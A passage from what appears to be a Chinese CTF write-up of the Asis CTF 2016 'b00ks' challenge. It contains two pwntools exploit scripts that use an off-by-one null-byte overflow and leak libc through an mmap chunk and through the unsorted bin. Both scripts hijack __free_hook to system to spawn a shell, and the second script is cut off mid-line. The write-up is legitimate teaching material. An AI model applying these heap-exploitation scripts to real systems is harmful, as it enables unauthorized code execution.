comment"># arch 可选 : i386 / amd64 / arm / mips</span>context<span class="token punctuation">(</span>os<span class="token operator">=</span><span class="token string">'linux'</span><span class="token punctuation">,</span> arch<span class="token operator">=</span><span class="token string">'amd64'</span><span class="token punctuation">,</span> log_level<span class="token operator">=</span><span class="token string">'debug'</span><span class="token punctuation">)</span><span class="token comment"># PWN 远程 : content = 0, PWN 本地 : content = 1</span>content <span class="token operator">=</span> <span class="token number">1</span>elf <span class="token operator">=</span> ELF<span class="token punctuation">(</span><span class="token string">"./b00ks"</span><span class="token punctuation">)</span>libc <span class="token operator">=</span> ELF<span class="token punctuation">(</span><span class="token string">"/lib/x86_64-linux-gnu/libc.so.6"</span><span class="token punctuation">)</span><span class="token keyword">if</span> content <span class="token operator">==</span> <span class="token number">1</span><span class="token punctuation">:</span><span class="token comment"># 将本地的 Linux 程序启动为进程 io</span>    io <span class="token operator">=</span> process<span class="token punctuation">(</span><span class="token string">"./b00ks"</span><span class="token punctuation">)</span><span class="token comment"># 附加 gdb 调试</span><span class="token keyword">def</span> <span class="token function">debug</span><span class="token punctuation">(</span>cmd<span class="token operator">=</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">if</span> content <span class="token operator">==</span> <span class="token number">1</span><span class="token punctuation">:</span>   <span class="token comment"># 只有本地才可调试，远程无法调试</span>        gdb<span class="token punctuation">.</span>attach<span class="token punctuation">(</span>io<span class="token punctuation">,</span> cmd<span class="token punctuation">)</span>        pause<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">Create</span><span class="token punctuation">(</span>name_size<span class="token punctuation">,</span> name<span class="token punctuation">,</span> des_size<span class="token punctuation">,</span> des<span class="token punctuation">)</span><span class="token punctuation">:</span>    io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">"> "</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token string">"1"</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">": "</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span>name_size<span class="token punctuation">)</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">": "</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>name<span class="token punctuation">)</span>    io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">": "</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span>des_size<span class="token punctuation">)</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">": "</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>des<span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">Delete</span><span class="token punctuation">(</span>book_id<span class="token punctuation">)</span><span class="token punctuation">:</span>    io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">"> "</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token string">"2"</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">": "</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span>book_id<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">Edit</span><span class="token punctuation">(</span>book_id<span class="token punctuation">,</span> new_des<span class="token punctuation">)</span><span class="token punctuation">:</span>    io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">"> "</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token string">"3"</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">": "</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span>book_id<span class="token punctuation">)</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">": "</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>new_des<span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">Print</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">"> "</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token string">"4"</span><span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">Change</span><span class="token punctuation">(</span>name<span class="token punctuation">)</span><span class="token punctuation">:</span>    io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">"> "</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token string">"5"</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">": "</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>name<span class="token punctuation">)</span>io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">b'Enter author name: '</span><span class="token punctuation">)</span>payload <span class="token operator">=</span> <span class="token string">b'a'</span> <span class="token operator">*</span> <span class="token number">0x20</span>io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>payload<span class="token punctuation">)</span>   <span class="token comment"># 将 author name 的空间填充满，使其不存在 '\x00'</span>Create<span class="token punctuation">(</span><span class="token number">0x90</span><span class="token punctuation">,</span> <span class="token string">b'bbbb'</span><span class="token punctuation">,</span> <span class="token number">0x90</span><span class="token punctuation">,</span> <span class="token string">b'cccc'</span><span class="token punctuation">)</span>Print<span class="token punctuation">(</span><span class="token punctuation">)</span>io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">b'a'</span> <span class="token operator">*</span> <span class="token number">0x20</span><span class="token punctuation">)</span>book1_addr <span class="token operator">=</span> u64<span class="token punctuation">(</span>io<span class="token punctuation">.</span>recv<span class="token punctuation">(</span><span class="token number">6</span><span class="token punctuation">)</span><span class="token punctuation">.</span>ljust<span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">,</span> <span class="token string">b'\x00'</span><span class="token punctuation">)</span><span class="token punctuation">)</span>log<span class="token punctuation">.</span>success<span class="token punctuation">(</span><span class="token string">'book1_addr -> '</span> <span class="token operator">+</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>book1_addr<span class="token punctuation">)</span><span class="token punctuation">)</span>book2_addr <span class="token operator">=</span> book1_addr <span class="token operator">+</span> <span class="token number">0x30</span>   <span class="token comment"># 根据调试可知，两个堆块之间的偏移为 0x30</span>log<span class="token punctuation">.</span>success<span class="token punctuation">(</span><span class="token string">'book2_addr -> '</span> <span class="token operator">+</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>book2_addr<span class="token punctuation">)</span><span class="token punctuation">)</span>Create<span class="token punctuation">(</span><span class="token number">0x21000</span><span class="token punctuation">,</span> <span class="token string">b'cccc'</span><span class="token punctuation">,</span> <span class="token number">0x21000</span><span class="token punctuation">,</span> <span class="token string">b'dddd'</span><span class="token punctuation">)</span>   <span class="token comment"># 以 mmap 方式创建堆块</span>payload <span class="token operator">=</span> <span class="token string">b'a'</span> <span class="token operator">*</span> <span class="token number">0x40</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>book2_addr <span class="token operator">+</span> <span class="token number">8</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>book2_addr <span class="token operator">+</span> <span class="token number">8</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0x1000</span><span class="token punctuation">)</span>Edit<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> payload<span class="token punctuation">)</span>   <span class="token comment"># 伪造 book[0]</span><span class="token comment"># debug()</span>Change<span class="token punctuation">(</span><span class="token string">b'a'</span> <span class="token operator">*</span> <span class="token number">0x20</span><span class="token punctuation">)</span>   <span class="token comment"># 覆盖 book[0] 的最低位，改变其指向的地址为伪造的 book[0]</span>Print<span class="token punctuation">(</span><span class="token punctuation">)</span>io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">'Name: '</span><span class="token punctuation">)</span>book2_name_addr <span class="token operator">=</span> u64<span class="token punctuation">(</span>io<span class="token punctuation">.</span>recv<span class="token punctuation">(</span><span class="token number">6</span><span class="token punctuation">)</span><span class="token punctuation">.</span>ljust<span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">,</span> <span class="token string">b'\x00'</span><span class="token punctuation">)</span><span class="token punctuation">)</span>   <span class="token comment"># 泄露出 book[1] -> name</span>log<span class="token punctuation">.</span>success<span class="token punctuation">(</span><span class="token string">'book2_name_addr -> '</span> <span class="token operator">+</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>book2_name_addr<span class="token punctuation">)</span><span class="token punctuation">)</span>libc_base <span class="token operator">=</span> book2_name_addr <span class="token operator">-</span> <span class="token number">0x5b0010</span>   <span class="token comment"># 根据偏移计算 libc 基地址</span>log<span class="token punctuation">.</span>success<span class="token punctuation">(</span><span class="token string">'libc_base -> '</span> <span class="token operator">+</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>libc_base<span class="token punctuation">)</span><span class="token punctuation">)</span>free_hook_addr <span class="token operator">=</span> libc_base <span class="token operator">+</span> libc<span class="token punctuation">.</span>symbols<span class="token punctuation">[</span><span class="token string">'__free_hook'</span><span class="token punctuation">]</span>system_addr <span class="token operator">=</span> libc_base <span class="token operator">+</span> libc<span class="token punctuation">.</span>symbols<span class="token punctuation">[</span><span class="token string">'system'</span><span class="token punctuation">]</span>bin_sh_addr <span class="token operator">=</span> libc_base <span class="token operator">+</span> <span class="token builtin">next</span><span class="token punctuation">(</span>libc<span class="token punctuation">.</span>search<span class="token punctuation">(</span><span class="token string">b'/bin/sh'</span><span class="token punctuation">)</span><span class="token punctuation">)</span>one_gadget_addr <span class="token operator">=</span> libc_base <span class="token operator">+</span> <span class="token number">0x4527a</span>   <span class="token comment"># 0x45226 0x4527a 0xf03a4 0xf1247</span>log<span class="token punctuation">.</span>success<span class="token punctuation">(</span><span class="token string">'free_hook_addr -> '</span> <span class="token operator">+</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>free_hook_addr<span class="token punctuation">)</span><span class="token punctuation">)</span>log<span class="token punctuation">.</span>success<span class="token punctuation">(</span><span class="token string">'system_addr -> '</span> <span class="token operator">+</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>system_addr<span class="token punctuation">)</span><span class="token punctuation">)</span>log<span class="token punctuation">.</span>success<span class="token punctuation">(</span><span class="token string">'bin_sh_addr -> '</span> <span class="token operator">+</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>bin_sh_addr<span class="token punctuation">)</span><span class="token punctuation">)</span>log<span class="token punctuation">.</span>success<span class="token punctuation">(</span><span class="token string">'one_gadget_addr -> '</span> <span class="token operator">+</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>one_gadget_addr<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token comment"># system(/bin/sh) 和 one_gadget 选其一即可</span>Edit<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> p64<span class="token punctuation">(</span>bin_sh_addr<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>free_hook_addr<span class="token punctuation">)</span><span class="token punctuation">)</span>Edit<span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span> p64<span class="token punctuation">(</span>system_addr<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token comment"># Edit(1, p64(0) + p64(free_hook_addr))</span><span class="token comment"># Edit(2, p64(one_gadget_addr))</span>Delete<span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span>io<span class="token punctuation">.</span>interactive<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><hr><h1 id="结果一"><a href="#结果一" class="headerlink" title="结果一"></a>结果一</h1><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90Asis%20CTF%202016%E3%80%91b00ks27.png" alt="【Asis CTF 2016】b00ks27.png"></p><hr><h1 id="思路二（unsorted-bin）"><a href="#思路二（unsorted-bin）" class="headerlink" title="思路二（unsorted bin）"></a>思路二（unsorted bin）</h1><blockquote><p>本地环境：Glibc 2.23</p></blockquote><p>根据前面的分析我们知道，关键在于如何泄露 libc 的基地址</p><p>在思路一中，通过 <code>mmap</code> 方式分配的堆地址与 libc 基地址存在固定的偏移，根据这个固定偏移来计算 libc 基地址</p><p><em>另一种方法就是利用 <code>unsorted bin</code> 的特点来泄露 libc 基地址</em></p><blockquote><p>因为 <code>unsorted bin</code> 是双向链表，所以第一个 <code>unsorted bin</code> 的 <code>bk</code> 也就指向了 <code>bin[1]</code></p><p><strong>如果我们能够打印出第一个 <code>unsorted bin</code> 的 <code>bk</code>，也就相当于得到了 <code>bins[1]</code> 地址，而 <code>bins[1]</code> 在 libc 中，也就可以根据偏移计算 libc 基地址</strong></p></blockquote><p>而关键在于：得到一个 <code>unsorted bin</code> </p><p>我们知道，当 <code>free</code> 的 <code>chunk</code> 大小 &gt;&#x3D; 144 字节时，<code>chunk</code> 会放到 <code>unsorted bin</code> 中</p><p>因此，我们需要先创建第二本书，使其 <code>chunk</code> 的大小在 <code>free</code> 的时候大于 144 字节，这本书在后面是需要被 <code>free</code> 形成 <code>unsorted bin</code> 的，所以我们再创建第三本书，写入 <code>&#39;/bin/sh&#39;</code></p><p>创建三本书后如下：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90Asis%20CTF%202016%E3%80%91b00ks30.png" alt="【Asis CTF 2016】b00ks30.png"></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90Asis%20CTF%202016%E3%80%91b00ks28.png" alt="【Asis CTF 2016】b00ks28.png"></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90Asis%20CTF%202016%E3%80%91b00ks29.png" alt="【Asis CTF 2016】b00ks29.png"></p><p>接着还是通过 <code>Edit()</code> 功能伪造一个 <code>book[0]</code></p><ul><li><p>这次伪造的 <code>book[0] -&gt; name</code> 指向即将 <code>free</code> 后形成的 <code>unsorted bin</code> 的 <code>bk</code> 地址（<strong>注意：图中和脚本中实际指向的是 <code>fd</code> 地址，但由于这里只存在一个 unsorted bin，因此 <code>fd</code> 与 <code>bk</code> 指向同一地址，故不影响</strong>）</p></li><li><p>为了便于劫持 <code>__free_hook</code> 为 <code>system()</code>，我们将伪造的 <code>book[0] -&gt; description</code> 指向 <code>book[2]</code> 的 <code>description</code></p><p>  这样我们通过 <code>Edit(1, p64(free_hook_addr) + p64(0x10))</code> 修改 <code>book[0]</code> 的 <code>description</code> 的时候，就可以将 <code>book[2] -&gt; description</code> 修改为 <code>__free_hook</code></p><p>  然后再通过 <code>Edit(3, p64(system_addr))</code> 修改 <code>book[2]</code> 的 <code>description</code> 的时候，就可以将 <code>__free_hook</code> 修改为 <code>system()</code></p></li></ul><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90Asis%20CTF%202016%E3%80%91b00ks31.png" alt="【Asis CTF 2016】b00ks31.png"></p><p>伪造好 <code>book[0]</code> 后，通过 <code>Change()</code> 功能填充 0x20 字节，溢出 1 字节 <code>&#39;\x00&#39;</code> 覆盖 <code>book[0]</code> 指针的最低位，使其指向我们伪造的 <code>book[0]</code></p><p>然后 <code>free</code> 掉 <code>book[1]</code> 后形成 <code>unsorted bin</code>：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90Asis%20CTF%202016%E3%80%91b00ks32.png" alt="【Asis CTF 2016】b00ks32.png"></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90Asis%20CTF%202016%E3%80%91b00ks33.png" alt="【Asis CTF 2016】b00ks33.png"></p><p>可以看到 <code>bk</code> 和 <code>fd</code> 指向的是同一个地址，打印其中之一即可</p><p>通过 <code>Print()</code> 功能在 <code>Name</code> 处打印出了 <code>fd</code>、<code>bk</code> 指针</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90Asis%20CTF%202016%E3%80%91b00ks34.png" alt="【Asis CTF 2016】b00ks34.png"></p><p>通过 GDB 可以看到 <code>fd</code>、<code>bk</code> 指针指向的地址为 <code>main_arena + 88</code> 处</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90Asis%20CTF%202016%E3%80%91b00ks35.png" alt="【Asis CTF 2016】b00ks35.png"></p><p>同时 <code>main_arena</code> 与 <code>__malloc_hook</code> 相距 0x10</p><p>因此根据偏移可以获得 <code>__malloc_hook</code> 的真实地址，而 <code>__malloc_hook</code> 是 libc 中的函数，根据 libc 偏移即可获得 libc 基地址</p><p>最后，利用前面提到的两次 <code>Edit()</code> 劫持 <code>__free_hook</code> 为 <code>system()</code></p><ol><li>第一次 <code>Edit()</code> 将 <code>book[2] -&gt; description</code> 修改为 <code>__free_hook</code>：</li></ol><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90Asis%20CTF%202016%E3%80%91b00ks36.png" alt="【Asis CTF 2016】b00ks36.png"></p><ol start="2"><li>第二次 <code>Edit()</code> 将 <code>__free_hook</code> 修改为 <code>system()</code>：</li></ol><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90Asis%20CTF%202016%E3%80%91b00ks37.png" alt="【Asis CTF 2016】b00ks37.png"></p><p>然后通过 <code>Delete()</code> 调用 <code>free</code> 执行 <code>system(/bin/sh)</code></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90Asis%20CTF%202016%E3%80%91b00ks38.png" alt="【Asis CTF 2016】b00ks38.png"></p><hr><h1 id="脚本二"><a href="#脚本二" class="headerlink" title="脚本二"></a>脚本二</h1><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> pwn <span class="token keyword">import</span> <span class="token operator">*</span><span class="token comment"># 设置系统架构, 打印调试信息</span><span class="token comment"># arch 可选 : i386 / amd64 / arm / mips</span>context<span class="token punctuation">(</span>os<span class="token operator">=</span><span class="token string">'linux'</span><span class="token punctuation">,</span> arch<span class="token operator">=</span><span class="token string">'amd64'</span><span class="token punctuation">,</span> log_level<span class="token operator">=</span><span class="token string">'debug'</span><span class="token punctuation">)</span><span class="token comment"># PWN 远程 : content = 0, PWN 本地 : content = 1</span>content <span class="token operator">=</span> <span class="token number">1</span>elf <span class="token operator">=</span> ELF<span class="token punctuation">(</span><span class="token string">"./b00ks"</span><span class="token punctuation">)</span>libc <span class="token operator">=</span> ELF<span class="token punctuation">(</span><span class="token string">"/lib/x86_64-linux-gnu/libc.so.6"</span><span class="token punctuation">)</span><span class="token keyword">if</span> content <span class="token operator">==</span> <span class="token number">1</span><span class="token punctuation">:</span><span class="token comment"># 将本地的 Linux 程序启动为进程 io</span>    io <span class="token operator">=</span> process<span class="token punctuation">(</span><span class="token string">"./b00ks"</span><span class="token punctuation">)</span><span class="token comment"># 附加 gdb 调试</span><span class="token keyword">def</span> <span class="token function">debug</span><span class="token punctuation">(</span>cmd<span class="token operator">=</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">if</span> content <span class="token operator">==</span> <span class="token number">1</span><span class="token punctuation">:</span>   <span class="token comment"># 只有本地才可调试，远程无法调试</span>        gdb<span class="token punctuation">.</span>attach<span class="token punctuation">(</span>io<span class="token punctuation">,</span> cmd<span class="token punctuation">)</span>        pause<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">Create</span><span class="token punctuation">(</span>name_size<span class="token punctuation">,</span> name<span class="token punctuation">,</span> des_size<span class="token punctuation">,</span> des<span class="token punctuation">)</span><span class="token punctuation">:</span>    io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">"> "</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token string">"1"</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">": "</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span>name_size<span class="token punctuation">)</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">": "</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>name<span class="token punctuation">)</span>    io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">": "</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span>des_size<span class="token punctuation">)</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">": "</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>des<span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">Delete</span><span class="token punctuation">(</span>book_id<span class="token punctuation">)</span><span class="token punctuation">:</span>    io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">"> "</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token string">"2"</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">": "</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span>book_id<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">Edit</span><span class="token punctuation">(</span>book_id<span class="token punctuation">,</span> new_des<span class="token punctuation">)</span><span class="token punctuation">:</span>    io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">"> "</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token string">"3"</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">": "</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span>book_id<span class="token punctuation">)</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">": "</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>new_des<span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">Print</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">"> "</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token string">"4"</span><span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">Change</span><span class="token punctuation">(</span>name<span class="token punctuation">)</span><span class="token punctuation">:</span>    io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">"> "</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token string">"5"</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">": "</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>name<span class="token punctuation">)</span>io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">b'Enter author name: '</span><span class="token punctuation">)</span>payload <span class="token operator">=</span> <span class="token string">b'a'</span> <span class="token operator">*</span> <span class="token number">0x20</span>io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>payload<span class="token punctuation">)</span>Create<span class="token punctuation">(</span><span class="token number">0x90</span><span class="token punctuation">,</span> <span class="token string">b'bbbb'</span><span class="token punctuation">,</span> <span class="token number">0x90</span><span class="token punctuation">,</span> <span class="token string">b'cccc'</span><span class="token punctuation">)</span>Print<span class="token punctuation">(</span><span class="token punctuation">)</span>io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">b'a'</span> <span class="token operator">*</span> <span class="token number">0x20</span><span class="token punctuation">)</span>book1_addr <span class="token operator">=</span> u64<span class="token punctuation">(</span>io<span class="token punctuation">.</span>recv<span class="token punctuation">(</span><span class="token number">6</span><span class="token punctuation">)</span><span class="token punctuation">.</span>ljust<span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">,</span> <span class="token string">b'\x00'</span><span class="token punctuation">)</span><span class="token punctuation">)</span>log<span class="token punctuation">.</span>success<span class="token punctuation">(</span><span class="token string">'book1_addr -> '</span> <span class="token operator">+</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>book1_addr<span class="token punctuation">)</span><span class="token punctuation">)</span>book2_addr <span class="token operator">=</span> book1_addr <span class="token operator">+</span> <span class="token number">0x30</span>log<span class="token punctuation">.</span>success<span class="token punctuation">(</span><span class="token string">'book2_addr -> '</span> <span class="token operator">+</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>book2_addr<span class="token punctuation">)</span><span class="token punctuation">)</span>Create<span class="token punctuation">(</span><span class="token number">0x80</span><span class="token punctuation">,</span> <span class="token string">b'cccc'</span><span class="token punctuation">,</span> <span class="token number">0x20</span><span class="token punctuation">,</span> <span class="token string">b'dddd'</span><span class="token punctuation">)</span>   <span class="token comment"># 为 unsorted bin 做准备</span>Create<span class="token punctuation">(</span><span class="token number">0x20</span><span class="token punctuation">,</span> <span class="token string">b'/bin/sh\x00'</span><span class="token punctuation">,</span> <span class="token number">0x20</span><span class="token punctuation">,</span> <span class="token string">b'ffff'</span><span class="token punctuation">)</span>   <span class="token comment"># 存放 '/bin/sh'</span>payload <span class="token operator">=</span> <span class="token string">b'a'</span> <span class="token operator">*</span> <span class="token number">0x40</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>book2_addr<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>book2_addr <span class="token operator">+</span> <span class="token number">0x160</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0x20</span><span class="token punctuation">)</span>Edit<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> payload<span class="token punctuation">)</span>   <span class="token comment"># 伪造 book[0]</span>Change<span class="token punctuation">(</span><span class="token string">b'a'</span> <span class="token operator">*</span> <span class="token number">0x20</span><span class="token punctuation">)</span>   <span class="token comment"># 覆盖 book[0] 的最低位，改变其指向的地址为伪造的 book[0]</span>Delete<span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span>   <span class="token comment"># 形成 unsorted bin</span>Print<span class="token punctuation">(</span><span class="token punctuation">)</span>   <span class="token comment"># 泄露 unsorted bin 的 bk 指针</span>io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">'Name: '</span><span class="token punctuation">)</span>main_arena_88 <span class="token operator">=</span> u64<span class="token punctuation">(</span>io<span class="token punctuation">.</span>recv<span class="token punctuation">(</span><span class="token number">6</span><span class="token punctuation">)</span><span class="token punctuation">.</span>ljust<span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">,</span> <span class="token string">b'\x00'</span><span class="token punctuation">)</span><span class="token punctuation">)</span>main_arena_addr <span class="token operator">=</span> main_arena_88 <span class="token operator">-</span> <span class="token number">88</span>malloc_hook_addr <span class="token operator">=</span> main_arena_addr <span class="token operator">-</span> <span class="token number">0x10</span>   <span class="token comment"># 根据偏移得到 __malloc_hook 真实地址</span>libc_base <span class="token operator">=</span> malloc_hook_addr <span class="token operator">-</span> libc<span class="token punctuation">.</span>symbols<span class="token punctuation">[</span><span class="token 